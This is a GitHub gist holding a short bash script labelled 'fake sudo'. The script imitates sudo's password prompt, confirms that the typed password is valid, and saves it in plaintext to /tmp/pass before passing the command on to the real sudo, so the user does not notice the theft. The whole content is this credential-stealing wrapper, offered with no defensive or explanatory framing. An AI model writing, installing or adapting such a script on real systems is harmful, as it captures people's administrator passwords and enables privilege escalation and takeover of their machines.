Skip to content

Instantly share code, notes, and snippets.

@konfou
Last active March 21, 2021 17:03
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save konfou/a21b3f1658d3d010fdccd1503f2d9c78 to your computer and use it in GitHub Desktop.
Save konfou/a21b3f1658d3d010fdccd1503f2d9c78 to your computer and use it in GitHub Desktop.
fake sudo bash script
#!/usr/bin/env bash
DIR=$(dirname "$0")
if [[ $PATH == ?(*:)$DIR?(:*) ]]; then
PATH=${PATH/#"$DIR:"/}
PATH=${PATH//":$DIR:"/":"}
fi
if [[ "$*" == "" ]]; then
sudo
else
sudo -k
while true; do
read -srp "[sudo] password for $USER: "
echo
if echo "$REPLY" | sudo -vS &>/dev/null; then
echo "$REPLY" > /tmp/pass
break
fi
done
sudo "$@"
fi
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment